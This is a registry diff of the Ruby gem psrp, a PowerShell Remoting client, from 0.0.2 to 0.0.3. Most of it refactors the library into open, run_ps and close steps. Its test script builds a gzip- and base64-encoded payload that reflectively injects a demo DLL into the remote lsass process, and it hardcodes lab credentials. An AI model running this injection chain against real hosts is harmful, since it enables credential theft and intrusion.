psrp 0.0.2 → 0.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (7) hide show
  1. checksums.yaml +4 -4
  2. data/.gitignore +2 -1
  3. data/lib/psrp.rb +94 -72
  4. data/lib/version.rb +1 -1
  5. data/test_psrp.rb +28 -4
  6. metadata +2 -3
  7. data/script.ps1 +0 -2958
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 575126720862843abbe6a80daa2231676ea7d7c1
4
- data.tar.gz: af1b27be56d15a5c155013bf3025d9a5013334c4
3
+ metadata.gz: 1c0eb58f46fa0b746b0d8f1fe2157764c22c8586
4
+ data.tar.gz: ad6ab72fdf78ead6c2b1a0a22497ef546529574d
5
5
  SHA512:
6
- metadata.gz: 854431f6a0465b6005fd72788005ac19cbff1df5f65f84fd199a79d7eafddfd04f52ffa1f6ed2608b47172cf4d91bb25cf9e32d197246587bf9c30a8156e7cbc
7
- data.tar.gz: 9bd255a5a9ddad36046255c17c91e9164c1cbd0de9a0a42ad7da71e25586c7a83a222d94b734f210507f677ea00f5ebb34cc628e1588ad5671bc41d1c851ea2b
6
+ metadata.gz: 3f0c16ebb4d24c80d0c13efff3f7a6cd0e6d5f0ff12d850bb2c15fc8750edbafd2afb66efe6bff8970d7fe4a5771619cd233d9339d7008e013866b9583e61357
7
+ data.tar.gz: 7df6cac6ea30fbf62dd765a5aa5d51872ed70df2a216b6fe8ee9c1b2fe0cebda19cc2c1390cf0de98b8315e96e74723b9f1b432b0722e5a980d7294168232716
data/.gitignore CHANGED
@@ -1,3 +1,4 @@
1
1
  *~
2
2
  .#*
3
- .DS_Store
3
+ .DS_Store
4
+ script.ps1
data/lib/psrp.rb CHANGED
@@ -61,33 +61,30 @@ module PSRP
61
61
  @opts = opts
62
62
 
63
63
  @xfer = HTTP::Negotiate.new(endpoint, @opts[:user], @opts[:pass], @opts)
64
+
65
+ @shell_id = nil
66
+ @generated_shell_id = nil
67
+ @opened = false
64
68
  end
65
69
 
66
- def run_ps(command, shell_opts = {})
67
-
70
+ def open
68
71
  @logger.debug("[WinRM] opening remote runspacepool on #{@session_opts[:endpoint]}")
69
72
  msg = PSRP::WSMV::InitRunspacePool.new(@session_opts)
70
73
 
71
74
  resp_doc = @xfer.send_request(msg.build)
72
75
 
73
- generated_shell_id = msg.shell_id
74
-
75
- shell_id = REXML::XPath.first(resp_doc, "//*[@Name='ShellId']").text
76
- @logger.debug("[WinRM] remote runspace #{shell_id} is open on #{@session_opts[:endpoint]}")
76
+ @generated_shell_id = msg.shell_id
77
77
 
78
+ @shell_id = REXML::XPath.first(resp_doc, "//*[@Name='ShellId']").text
79
+ @logger.debug("[WinRM] remote runspace #{@shell_id} is open on #{@session_opts[:endpoint]}")
78
80
 
79
- # spec says:
80
- # The client sends a wxf:Receive message (section 3.1.5.3.7) to the server to start receiving data from
81
- # the server. After each received wxf:ReceiveResponse message (section 3.2.5.3.8), the client sends another
82
- # wxf:Receive message until the RunspacePool transitions to a Closed or Broken state.
83
-
84
- out_processor = PSRP::WSMV::CommandOutputProcessor.new(@session_opts, @xfer)
81
+ out_processor = PSRP::WSMV::CommandOutputProcessor.new(@session_opts, @xfer)
85
82
 
86
- out_processor.command_output(shell_id, nil)
87
- return nil if out_processor.command_done?
83
+ out_processor.command_output(@shell_id, nil)
84
+ return false if out_processor.command_done?
88
85
 
89
86
  while true
90
- out_processor.command_output(shell_id, nil, true)
87
+ out_processor.command_output(@shell_id, nil, true)
91
88
  if out_processor.command_done?
92
89
  break
93
90
  end
@@ -105,76 +102,101 @@ module PSRP
105
102
  end
106
103
 
107
104
  if runspace_open
108
- @logger.debug('Opened the runspace, sending command')
109
-
110
- command_id = SecureRandom.uuid.to_s.upcase
111
- pipeline = PSRP::MessageEncoder.new(generated_shell_id, command_id, :CREATE_PIPELINE, {command: CGI.escapeHTML(command)})
105
+ @opened = true
106
+ return true
107
+ end
108
+ end
112
109
 
113
- msg = PSRP::WSMV::CreatePipeline.new(@session_opts, shell_id, pipeline.fragments[0])
114
- resp_doc = @xfer.send_request(msg.build)
110
+ return false
111
+ end
115
112
 
116
- command_id = REXML::XPath.first(resp_doc, "//#{PSRP::WSMV::NS_WIN_SHELL}:CommandId").text
113
+ def run_ps(command, shell_opts = {})
117
114
 
118
- # Send remaining fragments, if any
119
- if pipeline.fragments.length > 1
120
- for i in 1..(pipeline.fragments.length - 1)
121
- msg = PSRP::WSMV::SendData.new(@session_opts, shell_id, command_id, pipeline.fragments[i])
122
- resp_doc = @xfer.send_request(msg.build)
123
- end
124
- end
115
+ # spec says:
116
+ # The client sends a wxf:Receive message (section 3.1.5.3.7) to the server to start receiving data from
117
+ # the server. After each received wxf:ReceiveResponse message (section 3.2.5.3.8), the client sends another
118
+ # wxf:Receive message until the RunspacePool transitions to a Closed or Broken state.
119
+ if not @opened
120
+ raise PSRPError.new('This psrp instance is not connected, call .open ')
121
+ end
125
122
 
126
- @logger.debug("Command Sent, waiting on responses")
127
- out_processor.command_output(shell_id, command_id, true)
128
- if out_processor.input_required?
129
- raise PSRPError.new('This Tool Does Not Support Accepting Runtime Input')
130
- end
131
-
132
- # retrieve all of the data from the command
133
- while true
134
- out_processor.command_output(shell_id, command_id)
135
- if out_processor.input_required?
136
- raise PSRPError.new('This Tool Does Not Support Accepting Runtime Input')
137
- end
138
- if out_processor.command_done?
139
- break
140
- end
141
- end
123
+ out_processor = PSRP::WSMV::CommandOutputProcessor.new(@session_opts, @xfer)
124
+
125
+ @logger.debug('Opened the runspace, sending command')
126
+
127
+ command_id = SecureRandom.uuid.to_s.upcase
128
+ pipeline = PSRP::MessageEncoder.new(@generated_shell_id, command_id, :CREATE_PIPELINE, {command: CGI.escapeHTML(command)})
129
+
130
+ msg = PSRP::WSMV::CreatePipeline.new(@session_opts, @shell_id, pipeline.fragments[0])
131
+ resp_doc = @xfer.send_request(msg.build)
132
+
133
+ command_id = REXML::XPath.first(resp_doc, "//#{PSRP::WSMV::NS_WIN_SHELL}:CommandId").text
142
134
 
143
- @logger.debug("Closing shell")
144
- msg = PSRP::WSMV::CloseShell.new(@session_opts, shell_id)
135
+ # Send remaining fragments, if any
136
+ if pipeline.fragments.length > 1
137
+ for i in 1..(pipeline.fragments.length - 1)
138
+ msg = PSRP::WSMV::SendData.new(@session_opts, @shell_id, command_id, pipeline.fragments[i])
145
139
  resp_doc = @xfer.send_request(msg.build)
146
-
147
- # Deal with fragmented return values
148
- datas = out_processor.defragmented
149
-
150
- # Deal With Errors
151
- # But not really doing it well
152
- # PSRP - 2.2.3.15 ErrorRecord
153
- if out_processor.has_error?
154
- datas.each do |msg_id, msg|
155
- if msg[:message_type] == PSRP::Message::MESSAGE_TYPES[:ERROR_RECORD]
156
- raise PSRPError.new(un_psrp_escape(msg[:data]))
157
- end
158
- end
159
- end
140
+ end
141
+ end
160
142
 
161
- data = ''
162
- out_processor.defragmented.each do |msg_id, msg|
163
- xml = REXML::Document.new(msg[:data])
164
- # TODO: do better deserialization based on MS-PSRP 2.2.5
165
- # Right now this only returns String primitives and String Extended Primitives
166
- REXML::XPath.match(xml, "/S|/Obj/S").each do |n|
167
- next if n.text.nil? || n.text.empty?
168
- data += n.text + "\n"
169
- end
143
+ @logger.debug("Command Sent, waiting on responses")
144
+ out_processor.command_output(@shell_id, command_id, true)
145
+ if out_processor.input_required?
146
+ raise PSRPError.new('This Tool Does Not Support Accepting Runtime Input')
147
+ end
148
+
149
+ # retrieve all of the data from the command
150
+ while true
151
+ out_processor.command_output(@shell_id, command_id)
152
+ if out_processor.input_required?
153
+ raise PSRPError.new('This Tool Does Not Support Accepting Runtime Input')
154
+ end
155
+ if out_processor.command_done?
156
+ break
157
+ end
158
+ end
159
+
160
+ # Deal with fragmented return values
161
+ datas = out_processor.defragmented
162
+
163
+ # Deal With Errors
164
+ # But not really doing it well
165
+ # PSRP - 2.2.3.15 ErrorRecord
166
+ if out_processor.has_error?
167
+ datas.each do |msg_id, msg|
168
+ if msg[:message_type] == PSRP::Message::MESSAGE_TYPES[:ERROR_RECORD]
169
+ raise PSRPError.new(un_psrp_escape(msg[:data]))
170
170
  end
171
- return data
172
171
  end
173
172
  end
173
+
174
+ data = ''
175
+ out_processor.defragmented.each do |msg_id, msg|
176
+ xml = REXML::Document.new(msg[:data])
177
+ # TODO: do better deserialization based on MS-PSRP 2.2.5
178
+ # Right now this only returns String primitives and String Extended Primitives
179
+ REXML::XPath.match(xml, "/S|/Obj/S").each do |n|
180
+ next if n.text.nil? || n.text.empty?
181
+ data += n.text + "\n"
182
+ end
183
+ end
184
+ return data
174
185
  end
175
186
 
187
+ def close
188
+ @opened = false
189
+ @logger.debug("Closing shell")
190
+ msg = PSRP::WSMV::CloseShell.new(@session_opts, @shell_id)
191
+ resp_doc = @xfer.send_request(msg.build)
192
+ end
193
+
176
194
  def un_psrp_escape(str)
177
- str.gsub(/_x([0-9A-F]{4})_/i) { [Regexp.last_match[1].hex].pack('U') }
195
+ begin
196
+ str.gsub(/_x([0-9A-F]{4})_/i) { [Regexp.last_match[1].hex].pack('U') }
197
+ rescue Encoding::CompatibilityError
198
+ str
199
+ end
178
200
  end
179
201
  end
180
202
  end
data/lib/version.rb CHANGED
@@ -3,5 +3,5 @@
3
3
  # PSRP module
4
4
  module PSRP
5
5
  # The version of the PSRP library
6
- VERSION = '0.0.2'
6
+ VERSION = '0.0.3'
7
7
  end
data/test_psrp.rb CHANGED
@@ -1,8 +1,11 @@
1
1
  require_relative 'lib/psrp'
2
+ require 'zlib'
2
3
 
3
4
  endpoint = 'http://192.168.142.231:5985/wsman'
4
5
  psrp = PSRP::PSRPService.new(endpoint, :user => 'samo-range', :pass => 'somethinglonger12345!', :log_level => :info)
5
6
 
7
+ psrp.open
8
+
6
9
  puts psrp.run_ps('echo "<xml><body>THIS IS NOT THE XML YOU ARE LOOKING FOR</body></xml>" > C:\hello; cat C:\hello')
7
10
  puts psrp.run_ps('systeminfo')
8
11
  puts psrp.run_ps('cat C:\hello')
@@ -12,20 +15,41 @@ puts psrp.run_ps('echo "' + "A" * (32725 + 1) * 30 + '" > C:\hello_A')
12
15
 
13
16
  puts psrp.run_ps('notepad')
14
17
 
15
- data = Base64.strict_encode64(IO.binread('DemoDLL_RemoteProcess-x64.dll'))
16
- ps_script = "$ProcName = notepad\n"
17
- ps_script += "$PEBytes = [System.Convert]::FromBase64String('" + data + "')\n"
18
+ b64_code = Base64.strict_encode64(IO.binread('DemoDLL_RemoteProcess-x64.dll'))
19
+ data_io = StringIO.new()
20
+ gz = Zlib::GzipWriter.new(data_io)
21
+ gz.write(b64_code)
22
+ gz.close()
23
+ data = Base64.strict_encode64(data_io.string())
24
+ ps_script = "$ProcName = lsass\n"
25
+ ps_script += "$data = [System.Convert]::FromBase64String('" + data + "')\n"
26
+ ps_script += "$ms = New-Object System.IO.MemoryStream\n"
27
+ ps_script += "$ms.Write($data, 0, $data.Length)\n"
28
+ ps_script += "$ms.Seek(0,0) | Out-Null\n"
29
+ ps_script += "$sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))\n"
30
+ ps_script += "$PEBytes = [System.Convert]::FromBase64String($sr.ReadToEnd())\n"
31
+
18
32
  ps_script += File.read('Invoke-ReflectivePEInjection.ps1')
19
33
  ps_script += "\nInvoke-ReflectivePEInjection -PEBytes $PEBytes\n"
20
34
  ps_script += "echo 'Command Reflected'\n"
21
35
  IO.binwrite('script.ps1', ps_script)
22
36
  puts psrp.run_ps(File.read('script.ps1'))
23
37
 
38
+ psrp.close
24
39
 
25
40
  endpoint = 'http://192.168.142.232:5985/wsman'
26
41
  begin
27
42
  psrp = PSRP::PSRPService.new(endpoint, :user => 'samo-range', :pass => 'somethinglonger12345!', :log_level => :debug)
28
43
  psrp.run_ps('ipconfig')
44
+ rescue PSRP::PSRPError
45
+ puts 'You should see this'
46
+ end
47
+
48
+ begin
49
+ psrp = PSRP::PSRPService.new(endpoint, :user => 'samo-range', :pass => 'somethinglonger12345!', :log_level => :debug)
50
+ psrp.open
51
+ psrp.run_ps('ipconfig')
29
52
  rescue HTTPClient::ConnectTimeoutError
30
- puts 'Should See A Timeout on Not Able to Connect.'
53
+ puts 'Should See A Timeout on Not Able to Connect.'
31
54
  end
55
+
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: psrp
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.2
4
+ version: 0.0.3
5
5
  platform: ruby
6
6
  authors:
7
7
  - Sam Oluwalana
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-03-23 00:00:00.000000000 Z
11
+ date: 2016-03-28 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: httpclient
@@ -153,7 +153,6 @@ files:
153
153
  - lib/wsmv/templates/runspace_availability.xml.erb
154
154
  - lib/wsmv/templates/session_capability.xml.erb
155
155
  - psrp.gemspec
156
- - script.ps1
157
156
  - test_psrp.rb
158
157
  homepage: http://github.com/soluwalana/PSRP-RB
159
158
  licenses: